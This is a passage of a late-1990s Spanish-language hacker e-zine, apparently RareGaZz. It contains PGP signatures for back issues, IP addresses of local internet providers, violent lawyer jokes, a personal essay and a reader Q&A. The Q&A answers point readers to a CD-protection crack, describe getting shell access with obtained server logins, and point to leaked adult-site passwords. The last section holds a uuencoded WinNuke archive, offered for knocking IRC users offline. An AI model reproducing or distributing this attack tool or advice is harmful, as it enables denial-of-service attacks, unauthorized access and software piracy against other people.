ZV95b0BnZW9jaXRpZXMuY29tPokBFQMFEDPNZ07WhcNonHfmiQEBCjAiAJObdZcF
XNVfABHyRt8pHcMfiL3jV3j4b3yQVFw48BPbCK1aYgtson6U5hfiPXWsyFEqcU+Z
RXUDuk1AxQaiY711o8EUibjBFiFKa6f47NoDhi7QGYC/6zCqn+MEkws+b6ttMzUj
jeA7XKHpMVTtnhHHV3EAsi7u4QMg05YKSJleyqyFllj9v6Mng3RjwOeu/pOsVuUv
0iM23ipgRFc+vHxoR7NsJQOQb2in+MP9umfrGuqwv+hxa+fqA/AH4FQ73XpDrHxx
L8Y7LXTFulEJV0nfxp+VhSMSiaQMfCK0PJmU6BmsS3MnNfibTak/7uwtYx0ZiKJd
0vpmlXeyVu0s27s=
=fhpy
-----END PGP PUBLiC KEY BLOCK-----
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
Yo Soy en colaboracion con Pipirisnais les mostramos la siguiente
informacion de los servidores de algunos proveedores de internet en
Los Cabos, Baja California Sur...
La informacion es de 2 proveedores ( cabonet y primero cabonet ):
1ero Cabonet ( http://www.1cabonet.com.mx ) :
Gateway : 200.33.141.1
200.33.141.3
200.33.141.65
DNS : 200.33.141.5
200.23.249.1
Direccion: http://www.1cabonet.com.mx
Telefono : (01 114 ) 22883
Cabonet ( http://www.cabonet.net.mx ):
Gateway : 200.36.173.162
DNS : 200.36.173.161
Direccion: http://www.cabonet.net.mx
Telefonos: (01 114 ) 20052
22082
Yo Soy a : mierda@hotmail.com
Pipirisnais a : mexicogob@hotmail.com
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
Una copia de este texto lo puedes encontrar en nuestro web junto con la
llave PGP necesaria para verificar las firmas de los archivos. pronto.
-----BEGiN PGP SiGNED MESSAGE-----
archivo: RareGaZz #1
http://www.geocities.com/Baja/4426/rare001.zip
http://raregazz.islatortuga.com/rare001.zip
firma:
- -----BEGiN PGP MESSAGE-----
Version: 2.6.3ia
iQEVAwUANGqi8K4wO2YRk8TdAQE1gwf9GOTFguYZj9W7yyDT1UTntxY97/34DdSo
Rmeh+lvKQx3NTxckpq8i0i/JE7+Y4FkECFXOEmDJV7P1YkfWjYZvb+FXuahaLSql
5orrozguV8h1jiVHfgbZnzb9FPfSRpRxsclyzX7JGCfb2Z0YHZCtghM7EGOpROtb
/Kbb+XUxhlA+grnny2YiU+lukMcWPFAtUNUXf6K2MCaBdx+2L+Lrqem+wvqrxdsm
z7/0mAK/fXq8TR/eFK2qxusG1WsBSgTOmU2fJRz5UemMl/j82hHnp6nUxhj50RZj
2oxzlj9wk1N8LUOgfC//tv0VXvt/uNWOC4eqP7XocmO25tDr1xD3ew==
=kvTh
- -----END PGP MESSAGE-----
archivo: RareGaZz #2
http://www.geocities.com/Baja/4426/rare002.zip
http://raregazz.islatortuga.com/rare002.zip
firma:
- -----BEGiN PGP MESSAGE-----
Version: 2.6.3ia
iQEVAwUANGqjK64wO2YRk8TdAQG7zwf9G+YudV9g5WNjWjPkhBWs+7stvWBguEBq
s4iMewqVkTfibAMcwNgglAkOmxojKgC7v9xG2lx8Z9B7Or15QoOcs1Mcx+XGyPZX
lK7jiCgQaz9W6Pv0twaWkk/1ZVjiVMPc7pVm/d9JotiAr+r8aEl0XhiK8WWKZeim
ke5dZBrqe5oF3Wj8TiP3KqOFpz/VTb4wTX8tLyhJ19x7DMzSPrGbLVeznFcjecns
3rRMRjerTgFAvC2kwZ11dLL2WglG5h9N6HjBPJd7OSmwAe+7XcS4CZnwd7Fjambz
b6STWaFzum9DWR3sPNkiVbmQh45jZXNSKWFozc84qKzY1yM9erpFVg==
=H6gl
- -----END PGP MESSAGE-----
archivo: RareGaZz #3
http://www.geocities.com/Baja/4426/rare003.zip
http://raregazz.islatortuga.com/rare003.zip
firma:
- -----BEGiN PGP MESSAGE-----
Version: 2.6.3ia
iQEVAwUANGqjaq4wO2YRk8TdAQHFCAgAlB+oB0CgBY0yg1wvjibtZ8oPEyd4qT2A
fi5h0jdzzMx6ZLwThKiBVQgScf9VMerAgO+s2h9gSZ/AEzbVW+YmYvZiQjwGvpXU
tGFm7pezKUPn1GohTfPXSfiVbasNLKxbj5Q1guyVrjorAmKdSbg/PmgTCrvr/Yg7
NNQn56wHL4pOoyiR6g33eBMKcOY1iRzkHzi3ddVvKieK6elRaBl6F5FUnTLA2kKJ
THJ890KWDHGVlzM0OdVQEukpgUh/v6oEwqO2yGhtPuqhQUPDkTTRnNZPxJyqQZql
gzHKACCJ6kEUVRz8miUVRz6AwfvnnqSqhVD3kLRChZsgxchndi9uLA==
=iPnZ
- -----END PGP MESSAGE-----
archivo: RareGaZz #4
http://www.geocities.com/Baja/4426/rare004.zip
http://raregazz.islatortuga.com/rare004.zip
firma:
- -----BEGiN PGP MESSAGE-----
Version: 2.6.3ia
iQEVAwUANGqjia4wO2YRk8TdAQHw+Af+iAr1G4KTbH54/O/q9gpCQ9ZwckLSBrfk
cr36L28eYqxwpRrKTlqAZMmR9HOf91in86hq+WOeL3wYJTsO7dbsc7EWvuwkzK4G
s9b3xRdaW5G7GHQwy8tmJOpxSmkwyi/ahcACGPvGV5MsvwpGNYFEFd500gJk+sWT
vNRuUgD7QLdRALiofms2ff3mgMht/MovonY9VtP8Kod8DfzqJLcilkBjshmX5OED
y7CO/EC7L5K9b790KT/jRxzYkCHgk6kAxq0i/zUPAt1Kys8FVibZ/J8pV3sD2uwV
St2sM/RrVWhpMFPmqSU87jTQGTiK43DesYypvv/6fQUW7xfG2UtM9w==
=Rtip
- -----END PGP MESSAGE-----
archivo: RareGaZz #5
http://www.geocities.com/Baja/4426/rare005.zip
http://raregazz.islatortuga.com/rare005.zip
firma:
- -----BEGiN PGP MESSAGE-----
Version: 2.6.3ia
iQEVAwUANGqjsq4wO2YRk8TdAQGxKAgAqZdy3bqfY0uM5rKyyXUbLNV9g3xtAKdK
d/mMVN2hRKDr+epHXpuwsOQHxe9lZvQnsbH/mLHYr8guATTCSWDOivzQCJZRbU7w
42ipA2MuZ2RMrYnBm109txZJ5YpKVCbbf9ndg8Sv52//fWRPqRP7xZ56d6cM2n1t
kltztivUav/pRH0zfel9xLizu+c0deaYymKVL04HgNBn5WhUSY39bzia8HyCP4MY
niige1nWiFRpCZvc0a78VHC/33ROLuC6Nw9/xoonkrvFnYjA4JKGfi66+pJdPelT
BCYrwU/vk7Wu5k72K2qrh5qjv47NT7V8bkvuidDVHs0AfLBZhcfkXA==
=G6le
- -----END PGP MESSAGE-----
archivo: RareGaZz #6
http://www.geocities.com/Baja/4426/rare006.zip
http://raregazz.islatortuga.com/rare006.zip
firma:
- -----BEGiN PGP MESSAGE-----
Version: 2.6.3ia
iQEVAwUANGqj1K4wO2YRk8TdAQExXgf/WzHu4jkrpN2F3fYSPhUl1rTbrrM27k8P
vfsdynlqgYiENGjvQ+x2/z/oA9D3A2/94YXMVyxo9dUam5Ja9ZDdvL/bSrRjgHaE
N2p/Bc1FOgipHKA268wqvbHTw9rsZisEhs5tB4sLMHMfnh7lWE5f9228r0PUTt11
GqVejeki4UW+fEB+0BioTRoVbWVZ7CHk8OagskSAC5bG21T/JC+k+MG4TW0iD1em
mZry8m10PFdwAmpX1y07sjwW+Z9dumJN9HDDUVdwYy11LlDOMovf+p4gBz0G+uDR
e0pzCSK0eaBik0KzAAaocL0XR9HjmZhjW1lMAW3/kcuLlg39q0ZGyg==
=U13u
- -----END PGP MESSAGE-----
archivo: RareGaZz #7
http://www.geocities.com/Baja/4426/rare007.zip
http://raregazz.islatortuga.com/rare007.zip
firma:
- -----BEGiN PGP MESSAGE-----
Version: 2.6.3ia
iQEVAwUANGqj8K4wO2YRk8TdAQHUNAf/d15smmOc3fJQmniSi9gG5JX4o8eJB70t
N67kW6VSMZhDuc78JCn3x4VlhK0revBy+JJKhyTT/MTJGKUTCbjKZDv4tXrFxtZP
6cOqfT0qqcXQyllXDSJNpiw/2F3qA4qtJCyccFgQQfDqqr4WAMa3HvODvJkLaDLP
0MCvv38j7iLtfHG8MHgbc4aGp9/26NY7hHcr+wS1jPOeJj02uz3yNLBrBfHBsFZ7
vAc1wu7OzE1ZGZ/QW6RS70MK6mPUlOsw+3GSoOf2gSy0S49EzD3TdiQlPSu3dRst
Lh2HVovjFDUeicMFn9/GbM3/ke8EOEEhpHXhEi/BbWGw9wMhCg50Eg==
=ukdg
- -----END PGP MESSAGE-----
archivo: RareGaZz #8
http://www.geocities.com/Baja/4426/rare008.zip
http://raregazz.islatortuga.com/rare008.zip
firma:
- -----BEGiN PGP MESSAGE-----
Version: 2.6.3ia
iQEVAwUANGqj+q4wO2YRk8TdAQGsbwf/eS1n4Cd4hme+Mot8/U3ifqoWt3Cx6eip
vKbjNQu2QbfB5ba5Ef85t/YfVj/OuUcdg54eSPiiRiLAO9H5i+QLsQwzfa0of6Vo
vx+BV4qnVCDL1xj2iF7xc2+HDOJPjE9ag8WwdovvW+bmW72fukLM4WS9/Ncw2RqO
RiMCBgx5rQCOt4OZ2JKWjnSlVoNaglyhDfQeQL7/v3GLV3zV4Yqvfmfu2inBbiji
LqHVqVCJBgb7MsYcl7mvic45FZjVW+hxgQzVNq14iRt7t8njEbDmQ/FX16YTiPOS
zEHmb2Qa3uZ32cRBWV1hGgcX1hojPdrLNnY0e1fUJPGFevOFyHiclA==
=KbDZ
- -----END PGP MESSAGE-----
-----BEGiN PGP SiGNATURE-----
Version: 2.6.3ia
Charset: ascii
iQEVAwUBNGwLJ64wO2YRk8TdAQFBagf/UxD6/Gi7kGWwW8Yn0UA1nz/OLkmp327h
G3GnLDM9xfzzVsnjfjLO81S7X3fTnErXuMEJQ1jJqj2at63U2J7/ixSV7tOBFqBZ
zdYB32ctVVrF9arHd2i3MXfiqV+07vEkWe2vw6WUuBOfUz/3Wv4hdsJC8OmYLJNi
flPUx8bHusDMjFqyKl/ARmwnqv/xkzXLqQvPoyfS3iMixzABCPTuG+kdifJfgMvD
bAku1yYan8oX/6hipSiNU6YbY2hGPtSP9EMUpPj6+PxbpnO30X3FypJ/pr91FQok
qUVQeQTdOVGTXme3U/tJOWexGi+dz4pMEyb/xMvjKlpbMdLtmZqgOg==
=Mnqc
-----END PGP SiGNATURE-----
Esto sirve si tienes una copia del programa PGP y nuestra llave PGP
(http://www.geocities.com/Baja/4426/llave.txt) para que verifiques si
tienes los archivos originales.
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
Pregunta: ¨Como llamas a 5000 Abogados muertos en el fondo del oceano?
Respuesta: Un buen principio!
Pregunta: ¨Como puedes saber si un Abogado miente?
Respuesta: Si se mueven sus labios.
Pregunta: ¨Cual es la diferencia entre un perro muerto en la calle a un
abogado muerto en la calle?
Respuesta: Hay pruebas de que intentaron frenar delante del perro.
Pregunta: ¨Por que los tiburones no atacan Abogados?
Respuesta: Cortesia Profesional.
Pregunta: ¨Que NO se tiene cuando un Abogado esta enterrado hasta el cuello?
Respuesta: Suficiente tierra.
Pregunta: ¨Como alejas a un Abogado de un arbol?
Respuesta: Cortas la cuerda.
Pregunta: ¨Sabes como salvar a un Abogado asfixiandose?
Respuesta: Quitar tus manos de su cuello.
Pregunta: ¨Cual es la diferencia entre un Abogado y una cubeta de mierda?
Respuesta: La cubeta.
Pregunta: ¨Donde puedes encontrar un buen Abogado?
Respuesta: En el cementerio.
Pregunta: ¨Cual es la diferencia entre un Abogado y un gigolo?
Respuesta: Un gigolo se jode a una persona a la vez.
Pregunta: Si vez a un Abogado en una bicicleta, ¨por que no lo atropellas?
Respuesta: Por que puede ser tu bicicleta.
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
un dia sin smog
~~~~~~~~~~~~~~~
se acerca diciembre y con este mes las fiestas rutinarias de la mayoria
de las culturas. ¨festejan? el nacimiento de cristo...eso creo. ¨o la
llegada de un a¤o nuevo? como saberlo. de nuevo diciembre pero este mes
no es como el del a¤o anterior - o el otro. este es diferente. muchas
cosas que antes tomaba como mias han dejado de serlo. en cambio, cosas
que jamas pense que fueran a formar parte de mi vida pasaran a serlo. No.
no hablo de navidad o a¤o nuevo. sino del regreso de la luz a mi vida. o
la eterna oscuridad. todo depende.
veras, ganas de vivir tengo pocas. amistades y relaciones demasiadas. por
favor no piensen que soy un gru¤on. solo trato de vivir feliz...y eso bien
podria ser en diciembre. o despues de ese mes. cuando la primavera regrese.
El invierno pasara para mi en diciembre o permanecera para siempre. empero
aun es noviembre y me muero de ganas por saber que pasara en diciembre.
Chin! pensaba invitarla a la playa en mi casita de acampar a ver las olas,
quizas hasta logre convencerla de fumarse un gallo/porro conmigo. pero ahora
recuerdo que en diciembre hace frio. ni modo. adios primavera en la playa.
seguramente me quedare en el eterno invierno. solo. o felizmente acompa¤ado.
[ gracias por enviar estas participaciones. ]
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
Me agrado, el contenido de la revista... me gustaria hacer varios
comentarios y preguntas
- Es dificil ser Hacker?
[ no podria decirlo exactamente. ]
- No han tenido problemas con la ley?
[ algunos... :-) ]
- Cuanto tiempo le dedican diariamente a estar en la red?
[ no mucho. ]
- Como han logrado hacer creer a la gente que sus programas no son da¤inos.
[ creyendo nosotros mismos que no lo son. Recuerda, son "educativos." ]
En lo personal me gusta todo este tipo de informacion y cuando logro
decubrir algun tip en algun paquete me lo guardo.
NO CREEN QUE TANTO TIEMPO QUE HAN DEDICADO A REALIZAR SUS OBJETIVOS,
PARA QUE OTRO CABRON LLEGUE Y LOS UTILIZE O SE CREA HACKER...NO LES
MOLESTA?
[ En lo absoluto, la informacion debe ser libre y la forma en que esta sea
manejada o con que finalidad es responsabilidad del receptor de esta info.]
Me gustaria seguir preguntando pero, estoy seguro que me mentarian la
madre con justa razon, pero ya por ultimo.....Yo baje todos los archivos
que ponen a disposicion, y hasta ejecute uno que se llama RAREGAZZ.EXE
este me mando un grafico tipo virus... le afecta en algo a mi PC?
[ El archivo raregazz.exe no hace ningun da¤o...Hey! es BASIC. ;) ]
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
Quisiera saber como Crackear programas que piden el
CD y siempre lo buscan. Como los juegos MDK y
Screamer2.
[ Consigue el FAKECD.ZIP que sirve para eso. Puedes bajarlo aqui:
http://members.tripod.com/~DaAngel/fakecd.zip
http://hem.passagen.se/jeda/zip/fakecd.zip ]
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
mi pregunta es...¨es verdaderamente necesaria una cuenta shell para el hack?
....y si lo es...¨como puedo conseguirla?
[ Si. si es necesaria la cuenta shell para realizar los comandos como
rlogin y para la compilacion de codigo, etc. Para conseguirla consigue
el login/password de un servidor y usa una terminal telnet para entrar.
Una vez dentro del servidor estaras en una cuenta shell si recibes el
prompt de unix (# o $). ]
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
necesito saber si hay algun programa con el que pueda reiniciar la bajada de
software osea bajarlo en partes.
[ Asi es programas como estos pueden ser: Get it right (getrt210.exe) y
GoZilla Downloads (gozil211.exe). La ventaja de get it right es que `jalando'
un link desde netscape hasta la ventana del get it right puedes empezar
a bajarlo y si quieres interrumpir el download lo haces y continuas luego. ]
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
Estaria bien ver en la revista algunos passwords a sitios XXX.
[ En la pagina http://raregazz.islatortuga.com seccion links puedes encontrar
de vez en vez lugares donde publican ese tipo de informacion. ]
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
Otra cosa es que tengo una duda haber si me pueden echar la mano, quisiera que
me dijeran si existe una manera de Hackear las tarjetas de Amigo de TELCEL ya
que la verdad se gasta una lanota en esa pinches tarjetas.
[ alguien podria ayudar? ]
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
Que paso con el nuevos numero llevo un mes esperando y ni madres ya saquen
el nuevo numero no?
[ El nuevo numero sale cuando se termina. No lo escondemos ni nada asi. ]
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\U\
Encantado de haber podido recibir y contestar su correo. Hasta pronto y
envien sus preguntas a raregazz con confianza pero permitan de 3 a 4 dias
para recibir respuesta pues a veces estamos algo ocupadines >;-)
En ocasiones no podremos ayudarlos pero siempre esperamos que algun lector
sepa sobre sus dudas y nos envie respuesta. raretrip.
ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\ï\
@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%
seccion: UUENCODE
~~~~~~~~
En esta seccion incluimos los archivos WNUKE4.ZIP, class.zip y SLOWDOS.EXE
el zip contiene las classes para los applets java.
{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]
[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}
-WinNuker para Nukear en IRC. (Ver texto sobre IRC)
begin 644
wnuke4.zip
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
M2O*Q+WJR*)&`N)+D!&=!-^1DATHI`\J)0$6O?S`GWXB/I^>0NL\7_#!L?'
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
